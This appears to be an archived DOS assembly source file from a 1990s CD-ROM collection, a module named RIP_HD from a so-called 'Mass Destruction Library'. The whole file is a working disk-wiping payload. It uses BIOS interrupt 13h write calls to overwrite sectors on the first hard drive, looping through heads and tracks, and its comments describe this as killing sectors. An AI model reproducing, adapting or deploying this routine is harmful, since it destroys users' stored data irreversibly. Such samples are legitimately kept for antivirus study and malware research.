home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / VXAVTOOL.ZIP / EXEC-VIR.ZIP / MDL.ZIP / RIP_HD.ASM < prev    next >
Encoding:
Assembly Source File  |  1996-02-27  |  824 b   |  27 lines

  1. ;RIP_HD - module for Mass Destruction Library
  2. ;written by Evil Avatar
  3. .model tiny
  4. .code
  5. public rip_hd
  6. extrn load_sec
  7.  
  8. rip_hd:
  9.         xor dx, dx            ;clear dx
  10. rip_hd1:        
  11.         mov cx, 1             ;track 0, sector 1
  12.         mov ax, 311h          ;17 secs per track (hopefully!)
  13.         mov dl, 80h
  14.         mov bx, 5000h
  15.         mov es, bx
  16.         int 13h               ;kill 17 sectors
  17.         jae rip_hd2           
  18.         xor ah, ah
  19.         int 13h               ;reset disks if needed
  20. rip_hd2:
  21.         inc dh                ;increment head number
  22.         cmp dh, 4             ;if head number is below 4 then
  23.         jb rip_hd1            ;go kill another 17 sectors
  24.         inc ch                ;increase track number and
  25.         jmp rip_hd            ;do it again
  26. end rip_hd
  27.